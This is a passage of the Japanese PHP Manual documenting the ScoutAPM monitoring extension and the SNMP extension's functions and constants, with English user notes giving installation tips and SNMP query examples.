There are no user contributed notes for this page.


ScoutAPM

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
  • 定義済み定数
  • Scoutapm 関数
    • scoutapm_get_calls — 収集する処理が呼ばれた情報の一覧を返す
    • scoutapm_list_instrumented_functions — scoutapm がデータを収集する関数の一覧

User Contributed Notes

There are no user contributed notes for this page.


はじめに

注意: この拡張モジュールは Windows 環境では利用できません。

ScoutAPM 拡張機能は、土台となる PHP のユーザーランドのライブラリを使うだけで、 アプリケーションをモニタリングするための追加機能を提供します。

User Contributed Notes

There are no user contributed notes for this page.


要件

  • PHP >= 7.1.0
  • Windows は現在サポートされていません。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この拡張機能は PECL で利用可能です。以下を実行してください:

$ sudo pecl install scoutapm
php.ini に Scout の共有ライブラリを追加する必要があるかもしれません。 たとえば、以下のようになります:
extension=scoutapm.so

User Contributed Notes

There are no user contributed notes for this page.


Scoutapm 関数

目次

  • scoutapm_get_calls — 収集する処理が呼ばれた情報の一覧を返す
  • scoutapm_list_instrumented_functions — scoutapm がデータを収集する関数の一覧

User Contributed Notes

There are no user contributed notes for this page.


収集する処理が呼ばれた情報の一覧を返す

  • ≪ Scoutapm 関数
  • scoutapm_list_instrumented_functions ≫
  • PHP Manual
  • Scoutapm 関数
  • 収集する処理が呼ばれた情報の一覧を返す

scoutapm_get_calls

(PECL scoutapm >= 1.0.0)

scoutapm_get_calls — 収集する処理が呼ばれた情報の一覧を返す

説明

scoutapm_get_calls ( ) : array

scoutapm_get_calls() が最後に呼び出された後から行われた、 収集対象の関数が呼ばれた全ての情報のリストを返します。 この関数が呼ばれるごとに、リストはクリアされます。

パラメータ

この関数にはパラメータはありません。

返り値

scoutapm_get_calls() は、 収集対象の関数に対する、全ての記録された呼び出しのリストを配列として返します。

例

例1 収集された呼び出しを取得する

<?php

file_get_contents('a.txt');
file_get_contents('b.txt');

print_r(scoutapm_get_calls());
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => Array
        (
            [function] => file_get_contents
            [entered] => 1576839727.7934
            [exited] => 1576839727.7935
            [time_taken] => 2.7894973754883E-5
            [argv] => Array
                (
                    [0] => a.txt
                )

        )

    [1] => Array
        (
            [function] => file_get_contents
            [entered] => 1576839727.7935
            [exited] => 1576839727.7935
            [time_taken] => 7.8678131103516E-6
            [argv] => Array
                (
                    [0] => b.txt
                )

        )

)

User Contributed Notes

There are no user contributed notes for this page.


scoutapm がデータを収集する関数の一覧

  • ≪ scoutapm_get_calls
  • SNMP ≫
  • PHP Manual
  • Scoutapm 関数
  • scoutapm がデータを収集する関数の一覧

scoutapm_list_instrumented_functions

(PECL scoutapm >= 1.0.2)

scoutapm_list_instrumented_functions — scoutapm がデータを収集する関数の一覧

説明

scoutapm_list_instrumented_functions ( ) : array

この拡張機能がデータを収集する関数の一覧を返します。

パラメータ

この関数にはパラメータはありません。

返り値

scoutapm_list_instrumented_functions() は 拡張機能が現在のインストールで収集できる、 全ての関数のリストを含んだ配列を返します。

例

例1 scoutapm が情報を収集する関数の一覧を取得する

<?php
print_r(scoutapm_list_instrumented_functions());
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => file_get_contents
    [1] => file_put_contents
    [2] => fopen
    [3] => fread
    [4] => fwrite
    [5] => pdo->exec
    [6] => pdo->query
    [7] => pdo->prepare
    [8] => pdostatement->execute
)

User Contributed Notes

There are no user contributed notes for this page.


SNMP

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • SNMP 関数
    • snmp_get_quick_print — NET-SNMP ライブラリの quick_print の現在の設定値を取得する
    • snmp_get_valueretrieval — SNMP の値が返される方法を返す
    • snmp_read_mib — アクティブな MIB ツリーの中に MIB ファイルを読み込んでパースする
    • snmp_set_enum_print — すべての enum を、実際の整数値ではなく enum 値とともに返す
    • snmp_set_oid_numeric_print — OID の出力フォーマットを設定する
    • snmp_set_oid_output_format — OID の出力形式を設定する
    • snmp_set_quick_print — NET-SNMP ライブラリで enable の値を設定する
    • snmp_set_valueretrieval — SNMP の値が返される方法を設定する
    • snmp2_get — SNMP オブジェクトを取得する
    • snmp2_getnext — 指定したオブジェクト ID に続く SNMP オブジェクトを取得する
    • snmp2_real_walk — 指定したすべてのオブジェクトとそのオブジェクト ID を返す
    • snmp2_set — SNMP オブジェクトの値を設定する
    • snmp2_walk — すべての SNMP オブジェクトをエージェントから取得する
    • snmp3_get — SNMP オブジェクトを取得する
    • snmp3_getnext — 指定したオブジェクト ID に続く SNMP オブジェクトを取得する
    • snmp3_real_walk — 指定したすべてのオブジェクトとそのオブジェクト ID を返す
    • snmp3_set — SNMP オブジェクトの値を設定する
    • snmp3_walk — すべての SNMP オブジェクトをエージェントから取得する
    • snmpget — SNMP オブジェクトを取得する
    • snmpgetnext — 指定したオブジェクト ID に続く SNMP オブジェクトを取得する
    • snmprealwalk — 指定したオブジェクトに関するオブジェクト ID を含むすべてのオブジェクトを返す
    • snmpset — SNMP オブジェクトの値を設定する
    • snmpwalk — エージェントから全ての SNMP オブジェクトを取得する
    • snmpwalkoid — ネットワークエンティティに関する情報ツリーを検索する
  • SNMP — SNMP クラス
    • SNMP::close — SNMP セッションを閉じる
    • SNMP::__construct — リモート SNMP エージェントへのセッションを表す SNMP インスタンスを作成する
    • SNMP::get — SNMP オブジェクトを取得する
    • SNMP::getErrno — 直近のエラーコードを取得する
    • SNMP::getError — 直近のエラーメッセージを取得する
    • SNMP::getnext — 指定したオブジェクト ID に続く SNMP オブジェクトを取得する
    • SNMP::set — SNMP オブジェクトの値を設定する
    • SNMP::setSecurity — セキュリティ関連の SNMPv3 セッションパラメータを設定する
    • SNMP::walk — SNMP オブジェクトのサブツリーを取得する
  • SNMPException — SNMPException クラス

User Contributed Notes

There are no user contributed notes for this page.


はじめに

SNMP 拡張モジュールは非常にシンプルで使い勝手の良いツール群です。 Simple Network Managment Protocol を使ってリモートデバイスを管理することができます。

これは Net-SNMP ライブラリのラッパーなので、 基本的な考え方はこのライブラリと同じです。また、Net-SNMP の設定ファイルや環境変数によって PHP の関数の挙動も変わります。

Net-SNMP についての詳細な情報は » http://www.net-snmp.org/ にあります。

User Contributed Notes

There are no user contributed notes for this page.


要件

SNMP 関数を使用するためには、» Net-SNMP パッケージをインストールする必要があります。 SNMPv3 関数が使えるのは、» OpenSSL パッケージもインストールされている場合のみです。

Unix 環境にインストールするためには Net-SNMP バージョン 5.3 以降、そして Windows 環境にインストールするためには Net-SNMP バージョン 5.4 以降が必要となります。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

Windows 版は、SNMP サポート用ファイルが mibs ディレクトリにあります。このディレクトリを、Windows の環境変数 MIBDIRS に追加しなければいけません。 環境変数の値は、mibs ディレクトリへのフルパス (例: c:\usr\mibs) となります。

User Contributed Notes

robinson 16-Nov-2016 04:43
There is no "mibs" directory in the php package, I check with 5.2,5.4,5.5 and 5.6, none of them has the net-snmp mibs folder.

What you have to do is download the source of net-snmap and copy the folder into your unpacked php folder besides the instructions provided above

net-snmap download link

https://sourceforge.net/projects/net-snmp/files/net-snmp/

after you download, unzip the file and copy folder mibs to your php folder
bug404 at free dot fr 07-Sep-2014 05:00
If net-snmp was not installed in default c:\usr folder (which may be the case for most peoples used to Windows instead of Linux), then, you should also create SNMP_PERSISTENT_DIR system environment variable with "persistent" folder location (located in snmp folder).
Otherwise, php will will create its own persistant folder in c:/usr/snmp/persistent folder, which is probably not what you want !
Coffee-fan 14-Feb-2013 05:35
In order to build and install php in Ubuntu 12.10, beyond the normal "build-essential" package, I had to install the following packages: apache2-prefork-dev  libxml2-dev libsnmp libsnmp-dev libtool

Command line should be like this:

sudo apt-get install apache2-prefork-dev libxml2-dev libsnmp libsnmp-dev libtool
Darren Wolfe 04-Jun-2012 01:18
If PHP complains that some mibs are missing and they are not included in your windows php package, they can be obtained from the source package of net-snmp itself.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

snmp_set_oid_output_format() 用
SNMP_OID_OUTPUT_SUFFIX (int)
SNMP_OID_OUTPUT_MODULE (int)
SNMP_OID_OUTPUT_FULL (int)
SNMP_OID_OUTPUT_NUMERIC (int)
SNMP_OID_OUTPUT_UCD (int)
SNMP_OID_OUTPUT_NONE (int)
snmp_set_valueretrieval() 用
SNMP_VALUE_LIBRARY (int)
SNMP_VALUE_PLAIN (int)
SNMP_VALUE_OBJECT (int)
snmp_set_valueretrieval() で SNMP_VALUE_OBJECT を使った場合に返される SNMP の型
SNMP_BIT_STR (int)
SNMP_OCTET_STR (int)
SNMP_OPAQUE (int)
SNMP_NULL (int)
SNMP_OBJECT_ID (int)
SNMP_IPADDRESS (int)
SNMP_COUNTER (int)
SNMP_UNSIGNED (int)
SNMP_TIMETICKS (int)
SNMP_UINTEGER (int)
SNMP_INTEGER (int)
SNMP_COUNTER64 (int)

User Contributed Notes

There are no user contributed notes for this page.


SNMP 関数

目次

  • snmp_get_quick_print — NET-SNMP ライブラリの quick_print の現在の設定値を取得する
  • snmp_get_valueretrieval — SNMP の値が返される方法を返す
  • snmp_read_mib — アクティブな MIB ツリーの中に MIB ファイルを読み込んでパースする
  • snmp_set_enum_print — すべての enum を、実際の整数値ではなく enum 値とともに返す
  • snmp_set_oid_numeric_print — OID の出力フォーマットを設定する
  • snmp_set_oid_output_format — OID の出力形式を設定する
  • snmp_set_quick_print — NET-SNMP ライブラリで enable の値を設定する
  • snmp_set_valueretrieval — SNMP の値が返される方法を設定する
  • snmp2_get — SNMP オブジェクトを取得する
  • snmp2_getnext — 指定したオブジェクト ID に続く SNMP オブジェクトを取得する
  • snmp2_real_walk — 指定したすべてのオブジェクトとそのオブジェクト ID を返す
  • snmp2_set — SNMP オブジェクトの値を設定する
  • snmp2_walk — すべての SNMP オブジェクトをエージェントから取得する
  • snmp3_get — SNMP オブジェクトを取得する
  • snmp3_getnext — 指定したオブジェクト ID に続く SNMP オブジェクトを取得する
  • snmp3_real_walk — 指定したすべてのオブジェクトとそのオブジェクト ID を返す
  • snmp3_set — SNMP オブジェクトの値を設定する
  • snmp3_walk — すべての SNMP オブジェクトをエージェントから取得する
  • snmpget — SNMP オブジェクトを取得する
  • snmpgetnext — 指定したオブジェクト ID に続く SNMP オブジェクトを取得する
  • snmprealwalk — 指定したオブジェクトに関するオブジェクト ID を含むすべてのオブジェクトを返す
  • snmpset — SNMP オブジェクトの値を設定する
  • snmpwalk — エージェントから全ての SNMP オブジェクトを取得する
  • snmpwalkoid — ネットワークエンティティに関する情報ツリーを検索する

User Contributed Notes

Chris 01-Nov-2007 01:50
Here's a fresh list of API for SNMPv1, SNMPv2c, and SNMPv3 as of PHP 5.2.4:

SNMPv1
------
string snmpget(string host, string community, string object_id [, int timeout [, int retries]]);

string snmpgetnext(string host, string community, string object_id [, int timeout [, int retries]]);

array snmpwalk(string host, string community, string object_id [, int timeout [, int retries]]);

array snmprealwalk(string host, string community, string object_id [, int timeout [, int retries]]);

bool snmp_get_quick_print(void);

void snmp_set_quick_print(int quick_print);

void snmp_set_enum_print(int enum_print);

void snmp_set_oid_output_format(int oid_format);

int snmpset(string host, string community, string object_id, string type, mixed value [, int timeout [, int retries]]);

SNMPv2c
-------
string snmp2_get(string host, string community, string object_id [, int timeout [, int retries]]);

string snmp2_getnext(string host, string community, string object_id [, int timeout [, int retries]]);

array snmp2_walk(string host, string community, string object_id [, int timeout [, int retries]]);

array snmp2_real_walk(string host, string community, string object_id [, int timeout [, int retries]]);

int snmp2_set(string host, string community, string object_id, string type, mixed value [, int timeout [, int retries]]);

SNMPv3
------
int snmp3_get(string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string priv_protocol, string priv_passphrase, string object_id [, int timeout [, int retries]]);

int snmp3_getnext(string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string priv_protocol, string priv_passphrase, string object_id [, int timeout [, int retries]]);

int snmp3_walk(string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string priv_protocol, string priv_passphrase, string object_id [, int timeout [, int retries]]);

int snmp3_real_walk(string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string priv_protocol, string priv_passphrase, string object_id [, int timeout [, int retries]]);

int snmp3_set(string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string priv_protocol, string priv_passphrase, string object_id, string type, mixed value [, int timeout [, int retries]]);

General
-------
int snmp_set_valueretrieval(int method);

int snmp_get_valueretrieval();

int snmp_read_mib(string filename);

SNMPv3 options
--------------
SNMPv3 offers a different authentication/authorization scheme than previous versions of SNMP.  To aid in using the API listed above, here is a brief explanation of each of the unique parameters used in the snmp3_* functions.

$sec_name - the "username" used for authentication to the system

$sec_level - the authentication scheme ('noAuthNoPriv', 'authNoPriv', or 'authPriv')

$auth_protocol - the encryption protocol used for authentication ('MD5' [default] or 'SHA')

$auth_passphrase - the encrypted key to use as the authentication challenge

$priv_protocol - the encryption protocol used for protecting the protocol data unit ('DES' [default], 'AES128', 'AES192', or 'AES256')

$priv_passphrase - the key to use for encrypting the protocol data unit

There are good code snippets available on http://forums.cacti.net/about5403.html for more information.
1413 at blargh dot com 10-Nov-2005 01:29
For my purposes in PHP coding, I have the following SNMP options set, always.  These aren't documented very well in PHP's docs, but they make dealing with the SNMP results a LOT easier:

<?php
// Return back the numeric OIDs, instead of text strings.
snmp_set_oid_numeric_print(1);

// Get just the values.
snmp_set_quick_print(TRUE);

// For sequence types, return just the numbers, not the string and numbers.
snmp_set_enum_print(TRUE);

// Don't let the SNMP library get cute with value interpretation.  This makes
// MAC addresses return the 6 binary bytes, timeticks to return just the integer
// value, and some other things.
snmp_set_valueretrieval(SNMP_VALUE_PLAIN);
?>


NET-SNMP ライブラリの quick_print の現在の設定値を取得する

  • ≪ SNMP 関数
  • snmp_get_valueretrieval ≫
  • PHP Manual
  • SNMP 関数
  • NET-SNMP ライブラリの quick_print の現在の設定値を取得する

snmp_get_quick_print

(PHP 4, PHP 5, PHP 7, PHP 8)

snmp_get_quick_print — NET-SNMP ライブラリの quick_print の現在の設定値を取得する

説明

snmp_get_quick_print ( ) : bool

NET-SNMP ライブラリに保持された quick_print の現在の値を返します。 デフォルトでは、quick_print はオフです。

返り値

quick_print がオンの場合に true、それ以外の場合に false を返します。

例

例1 snmp_get_quick_print() の例

<?php
$quickprint = snmp_get_quick_print();
?>

参考

  • quick_print の役割に関する詳細な説明は、 snmp_set_quick_print() - NET-SNMP ライブラリで enable の値を設定する を参照ください。

User Contributed Notes

antic 23-Feb-2003 05:13
This can be used to parse the returned values depending on the quick print setting. For example sysUpTime might look something like this: "Timeticks: (34575334) 4 days, 0:02:33.34", but if quick print is enabled it will be on the form: "4:0:2:33.34". To get the same output you can parse it differently, something like:

if(@ $sysUpTime = snmpget($switch,$community,"system.sysUpTime.0")){
    if(snmp_get_quick_print()){
       sscanf($sysUpTime, "%d:%d:%d:%d.%d",$day,$hour,$minute,$sec,$ticks);
        $sysUpTime = "$day days, $hour:$minute:$sec.$ticks";
    }else{
       $sysUpTime = ereg_replace("Timeticks: \([0-9]+\) ","",$sysUpTime);
   }
}


SNMP の値が返される方法を返す

  • ≪ snmp_get_quick_print
  • snmp_read_mib ≫
  • PHP Manual
  • SNMP 関数
  • SNMP の値が返される方法を返す

snmp_get_valueretrieval

(PHP 4 >= 4.3.3, PHP 5, PHP 7, PHP 8)

snmp_get_valueretrieval — SNMP の値が返される方法を返す

説明

snmp_get_valueretrieval ( ) : int

返り値

OR でつないだ定数 ( SNMP_VALUE_LIBRARY あるいは SNMP_VALUE_PLAIN) に、場合によって SNMP_VALUE_OBJECT を組み合わせて返します。

例

例1 snmp_get_valueretrieval の使用法

<?php
 $ret = snmpget('localhost', 'public', 'IF-MIB::ifName.1');
 if (snmp_get_valueretrieval() & SNMP_VALUE_OBJECT) {
   echo $ret->value;
 } else {
   echo $ret;
 }
?>

参考

  • snmp_set_valueretrieval() - SNMP の値が返される方法を設定する
  • 定義済み定数

User Contributed Notes

There are no user contributed notes for this page.


アクティブな MIB ツリーの中に MIB ファイルを読み込んでパースする

  • ≪ snmp_get_valueretrieval
  • snmp_set_enum_print ≫
  • PHP Manual
  • SNMP 関数
  • アクティブな MIB ツリーの中に MIB ファイルを読み込んでパースする

snmp_read_mib

(PHP 5, PHP 7, PHP 8)

snmp_read_mib — アクティブな MIB ツリーの中に MIB ファイルを読み込んでパースする

説明

snmp_read_mib ( string $filename ) : bool

この関数は、ベンダー固有などの追加の MIB を読み込んで、VENDOR-MIB::foo.1 のような可読形式の OID を取得します。

MIB を読み込む順序は重要で、参照先のオブジェクトが解決できなければ Net-SNMP ライブラリが警告を表示します。

パラメータ

filename

MIB のファイル名。

例

例1 snmp_read_mib() の使用法

<?php
 print_r( snmprealwalk('localhost', 'public', '.1.3.6.1.2.1.2.3.4.5') );

 snmp_read_mib('./FOO-BAR-MIB.txt');
 print_r( snmprealwalk('localhost', 'public', 'FOO-BAR-MIB::someTable' );
?>

上の例の結果は次のようになります。

Array
(
    [iso.3.6.1.2.1.2.3.4.5.0] => Gauge32: 6
)
Array
(
    [FOO-BAR-MIB::someTable.0] => Gauge32: 6
)

User Contributed Notes

jdhall75 at yahoo dot com 04-Mar-2008 05:50
If you are trying to import mibs with dependencies on other mibs you will have to set the MIBDIRS environment variable.

Unix / Linux: export MIBDIRS=/home/<user>/MIBS:/usr/share/snmp/mibs
Window: Good luck! No really.  Try this url out.  It has everything that you need to know about setting environment vars in windows.

http://vlaurie.com/computers2/Articles/environment.htm
ptitgal at hotmail dot com 28-Feb-2006 02:37
Importing massive Mibs located in a directory
<?php
/******************** Loading Mibs **************/
 $mib_path='YourPath';
 if ($handle = opendir($mib_path))
 { echo "Directory handle: $handle <br>";
    echo "Files: <br>";
    while (false !== ($file = readdir($handle)))
    { if($file!='.')
       { if($file!='..')
          { echo "Read : ";
            echo "$mib_path.$file";
            if(snmp_read_mib($mib_path.'\\'.$file)) echo " Succesful <br>";
            else echo " Failed <br>";
         }
        }
    }
}
closedir($handle);

?>


すべての enum を、実際の整数値ではなく enum 値とともに返す

  • ≪ snmp_read_mib
  • snmp_set_oid_numeric_print ≫
  • PHP Manual
  • SNMP 関数
  • すべての enum を、実際の整数値ではなく enum 値とともに返す

snmp_set_enum_print

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

snmp_set_enum_print — すべての enum を、実際の整数値ではなく enum 値とともに返す

説明

snmp_set_enum_print ( bool $enable ) : bool

この関数は、snmpwalk/snmpget などが自動的に MIB の enum 値を探して可読形式の文字列で返すかどうかを切り替えます。

パラメータ

enable

この値は boolean として Net-SNMP ライブラリが解釈します。"0" あるいは "1" しか指定できません。

例

例1 snmp_set_enum_print() の使用法

<?php
 snmp_set_enum_print(0);
 echo snmpget('localhost', 'public', 'IF-MIB::ifOperStatus.3') . "\n";
 snmp_set_enum_print(1);
 echo snmpget('localhost', 'public', 'IF-MIB::ifOperStatus.3') . "\n";
?>

上の例の結果は次のようになります。

 INTEGER: up(1)
 INTEGER: 1

User Contributed Notes

dbeecher at tekops dot com 15-Jun-2004 12:23
This function is only available if using NET_SNMP.  It is NOT available if using UCD_SNMP.  Likewise UCD_SNMP supports some behaviors that NET_SNMP does not.  (found limitation by looking in php snmp.c file)


OID の出力フォーマットを設定する

  • ≪ snmp_set_enum_print
  • snmp_set_oid_output_format ≫
  • PHP Manual
  • SNMP 関数
  • OID の出力フォーマットを設定する

snmp_set_oid_numeric_print

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

snmp_set_oid_numeric_print — OID の出力フォーマットを設定する

説明

snmp_set_oid_numeric_print ( int $format ) : bool

この関数は次の関数のエイリアスです。 snmp_set_oid_output_format()

参考

  • snmp_set_oid_output_format() - OID の出力形式を設定する

User Contributed Notes

There are no user contributed notes for this page.


OID の出力形式を設定する

  • ≪ snmp_set_oid_numeric_print
  • snmp_set_quick_print ≫
  • PHP Manual
  • SNMP 関数
  • OID の出力形式を設定する

snmp_set_oid_output_format

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

snmp_set_oid_output_format — OID の出力形式を設定する

説明

snmp_set_oid_output_format ( int $format ) : bool

snmp_set_oid_output_format() は、 出力形式を完全か数値のいずれかに設定します。

パラメータ

format
format の値による OID .1.3.6.1.2.1.1.3.0 の表しかた
SNMP_OID_OUTPUT_FULL | .iso.org.dod.internet.mgmt.mib-2.system.sysUpTime.sysUpTimeInstance
SNMP_OID_OUTPUT_NUMERIC | .1.3.6.1.2.1.1.3.0

PHP 5.4.0 からはさらに 4 つの定数が使えるようになりました。

SNMP_OID_OUTPUT_MODULE | DISMAN-EVENT-MIB::sysUpTimeInstance
SNMP_OID_OUTPUT_SUFFIX | sysUpTimeInstance
SNMP_OID_OUTPUT_UCD | system.sysUpTime.sysUpTimeInstance
SNMP_OID_OUTPUT_NONE | Undefined

返り値

値を返しません。

例

例1 snmprealwalk() の使用法

<?php

 snmp_read_mib("/usr/share/mibs/netsnmp/NET-SNMP-TC");

 // デフォルト、あるいは PHP 5.3.6 以降における SNMP_OID_OUTPUT_MODULE
 print_r( snmprealwalk('localhost', 'public', 'RFC1213-MIB::sysObjectID') );

 snmp_set_oid_output_format(SNMP_OID_OUTPUT_NUMERIC);
 print_r( snmprealwalk('localhost', 'public', 'RFC1213-MIB::sysObjectID') );

 snmp_set_oid_output_format(SNMP_OID_OUTPUT_FULL);
 print_r( snmprealwalk('localhost', 'public', 'RFC1213-MIB::sysObjectID') );
?>

上の例の結果は次のようになります。

 Array
 (
    [RFC1213-MIB::sysObjectID.0] => OID: NET-SNMP-TC::linux
 )
 Array
 (
    [.1.3.6.1.2.1.1.2.0] => OID: .1.3.6.1.4.1.8072.3.2.10
 )
 Array
 (
    [.iso.org.dod.internet.mgmt.mib-2.system.sysObjectID.0] => OID: .iso.org.dod.internet.private.enterprises.netSnmp.netSnmpEnumerations.netSnmpAgentOIDs.linux
 )

User Contributed Notes

ww at 9rivers dot com 30-Dec-2010 08:43
There seems to be more than SNMP_OID_OUTPUT_FULL and SNMP_OID_OUTPUT_NUMERIC.

For example, when I walk on BRIDGE-MIB::dot1dTpFdbPort without setting the output format and var_dump the result, I get output like:

  ["BRIDGE-MIB::dot1dTpFdbPort.'..F8.7'"]=>
  string(2) "52"

When I set it to NUMERIC, I get what I expected:

  [".1.3.6.1.2.1.17.4.3.1.2.244.206.70.56.24.55"]=>
  string(2) "52"

When I set it to FULL, I get even more (line-wrapped manually):

  [".iso.org.dod.internet.mgmt.mib-2 .dot1dBridge.dot1dTp .dot1dTpFdbTable .dot1dTpFdbEntry .dot1dTpFdbPort. '..F8.7'"]=>
  string(2) "52"


NET-SNMP ライブラリで enable の値を設定する

  • ≪ snmp_set_oid_output_format
  • snmp_set_valueretrieval ≫
  • PHP Manual
  • SNMP 関数
  • NET-SNMP ライブラリで enable の値を設定する

snmp_set_quick_print

(PHP 4, PHP 5, PHP 7, PHP 8)

snmp_set_quick_print — NET-SNMP ライブラリで enable の値を設定する

説明

snmp_set_quick_print ( bool $enable ) : bool

NET-SNMP ライブラリで enable の値を設定します。この値を (1) に設定した場合、SNMP ライブラリは、'簡潔に表示された (quick printed)' 値を返します。 これは、値のみが出力されることを意味します。 enable が有効でない場合(デフォルト)、NET-SNMP ライブラリは、 (IP アドレスまたは OID のような)その値の種類を含む、より詳細な情報を 出力します。 加えて、quick_print が有効でない場合、ライブラリは 3 文字以下の全ての 文字列について 16 進数値も出力します。

デフォルトで、NET-SNMP ライブラリは冗長な値を返します。 quick_print は、値のみを返すために用いられます。

現在、文字列は引用符で括られて返されますが、 この動作は将来のリリースでは修正される予定です。

パラメータ

enable

返り値

値を返しません。

例

quick_print の設定は、結果を表示するよりもその内容を使いたい場合によく行われます。

例1 snmp_set_quick_print() の使用例

<?php
snmp_set_quick_print(0);
$a = snmpget("127.0.0.1", "public", ".1.3.6.1.2.1.2.2.1.9.1");
echo "$a\n";
snmp_set_quick_print(1);
$a = snmpget("127.0.0.1", "public", ".1.3.6.1.2.1.2.2.1.9.1");
echo "$a\n";
?>

上の例の出力は、 たとえば以下のようになります。

'Timeticks: (0) 0:00:00.00'
'0:00:00.00'

参考

  • snmp_get_quick_print() - NET-SNMP ライブラリの quick_print の現在の設定値を取得する

User Contributed Notes

There are no user contributed notes for this page.


SNMP の値が返される方法を設定する

  • ≪ snmp_set_quick_print
  • snmp2_get ≫
  • PHP Manual
  • SNMP 関数
  • SNMP の値が返される方法を設定する

snmp_set_valueretrieval

(PHP 4 >= 4.3.3, PHP 5, PHP 7, PHP 8)

snmp_set_valueretrieval — SNMP の値が返される方法を設定する

説明

snmp_set_valueretrieval ( int $method ) : bool

パラメータ

method
型
SNMP_VALUE_LIBRARY | Net-SNMP ライブラリの返す形式のままで返します。
SNMP_VALUE_PLAIN | SNMP の型ヒントを含まないプレーンな値を返します。
SNMP_VALUE_OBJECT | プロパティ "value" および "type" をもつオブジェクトを返します。 "type" は SNMP_OCTET_STR や SNMP_COUNTER などの定数のいずれかとなります。 "value" を返す方法は、定数 SNMP_VALUE_LIBRARY、SNMP_VALUE_PLAIN のどちらが設定されているかによって決まります。

例

例1 snmp_set_valueretrieval() の使用法

<?php
 snmp_set_valueretrieval(SNMP_VALUE_LIBRARY);
 $ret = snmpget('localhost', 'public', 'IF-MIB::ifName.1');
 // $ret = "STRING: lo"

 snmp_set_valueretrieval(SNMP_VALUE_PLAIN);
 $ret = snmpget('localhost', 'public', 'IF-MIB::ifName.1');
 // $ret = "lo";

 snmp_set_valueretrieval(SNMP_VALUE_OBJECT);
 $ret = snmpget('localhost', 'public', 'IF-MIB::ifName.1');
 // stdClass Object
 // (
 //   [type] => 4        <-- SNMP_OCTET_STR, see constants
 //   [value] => lo
 // )

 // PHP 5.4 以降の例
 snmp_set_valueretrieval(SNMP_VALUE_OBJECT | SNMP_VALUE_PLAIN);
 $ret = snmpget('localhost', 'public', 'IF-MIB::ifName.1');
 // stdClass Object
 // (
 //   [type] => 4        <-- SNMP_OCTET_STR, see constants
 //   [value] => lo
 // )

 snmp_set_valueretrieval(SNMP_VALUE_OBJECT | SNMP_VALUE_LIBRARY);
 $ret = snmpget('localhost', 'public', 'IF-MIB::ifName.1');
 // stdClass Object
 // (
 //   [type] => 4        <-- SNMP_OCTET_STR, see constants
 //   [value] => STRING: lo
 // )

?>

参考

  • snmp_get_valueretrieval() - SNMP の値が返される方法を返す
  • 定義済み定数

User Contributed Notes

doug dot manley at gmail dot com 20-Jan-2009 01:04
The default value (if this function is not called) is "SNMP_VALUE_LIBRARY", which seems to be SNMP's built-in way of printing things.

From "snmp.c":
<code>
static PHP_GINIT_FUNCTION(snmp)
{
    snmp_globals->valueretrieval = SNMP_VALUE_LIBRARY;
}
</code>

A mild description of these is:
SNMP_VALUE_LIBRARY: This is a string similar to:
"INTEGER: 42"

SNMP_VALUE_PLAIN: This is a string similar to:
"42"

SNMP_VALUE_OBJECT: This is a PHP object like:
object(
"type" => SNMP_INTEGER,
"value" => 42,
)
Here, "type" is one of the SNMP_* types that are listed under the "Predefined Constants" page.  In addition, types 128, 129, and 130 are error conditions.
Mikhail D 01-Aug-2007 05:26
Sample is swow Interface status.
(.iso.org.dod.internet.mgmt.mib-2.
interfaces.ifTable.ifEntry.ifAdminStatus)
Possible values for this request from MIB:
Enum(integer): up (1), down (2), testing (3)

<?php
//snmp_set_quick_print(0);  // is default
$strIP = "10.1.1.1"; $strComm = "public";
$strOID =  ".1.3.6.1.2.1.2.2.1.7.1";
echo "\n Default valueretrieval with snmp_set_quick_print(0)";
echo " snmp_get_valueretrieval = SNMP_VALUE_LIBRARY";
echo ", retrieved value " .  snmpget($strIP, $strComm, $strOID);
snmp_set_valueretrieval(SNMP_VALUE_LIBRARY);
echo "\n SNMP_VALUE_LIBRARY " . snmp_get_valueretrieval();
echo ", retrieved value " .   snmpget($strIP, $strComm, $strOID);
snmp_set_valueretrieval(SNMP_VALUE_PLAIN);
echo "\n SNMP_VALUE_PLAIN " . snmp_get_valueretrieval();
echo ", retrieved value " .  snmpget($strIP, $strComm, $strOID);

snmp_set_quick_print(1);
echo "\n Default valueretrieval snmp_set_quick_print(0) " ;
snmp_set_valueretrieval(SNMP_VALUE_LIBRARY);
echo "\n SNMP_VALUE_LIBRARY " . snmp_get_valueretrieval();
echo ", retrieved value " .   snmpget($strIP, $strComm, $strOID);
snmp_set_valueretrieval(SNMP_VALUE_PLAIN);
echo "\n SNMP_VALUE_PLAIN " . snmp_get_valueretrieval();
echo ", retrieved value " .  snmpget($strIP, $strComm, $strOID);
?>

Results:
 Default valueretrieval with snmp_set_quick_print(0)
     snmp_get_valueretrieval = SNMP_VALUE_LIBRARY,
 retrieved value up(1)
 SNMP_VALUE_LIBRARY 0, retrieved value up(1)
 SNMP_VALUE_PLAIN 1, retrieved value 1
 Default valueretrieval snmp_set_quick_print(0)
 SNMP_VALUE_LIBRARY 0, retrieved value up
 SNMP_VALUE_PLAIN 1, retrieved value 1
david at eder dot us 24-Jun-2004 12:16
It appears that the possible method constants for this function are:

SNMP_VALUE_LIBRARY
SNMP_VALUE_PLAIN
SNMP_VALUE_OBJECT

If you are harvesting data you probably want SNMP_VALUE_PLAIN.


SNMP オブジェクトを取得する

  • ≪ snmp_set_valueretrieval
  • snmp2_getnext ≫
  • PHP Manual
  • SNMP 関数
  • SNMP オブジェクトを取得する

snmp2_get

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

snmp2_get — SNMP オブジェクトを取得する

説明

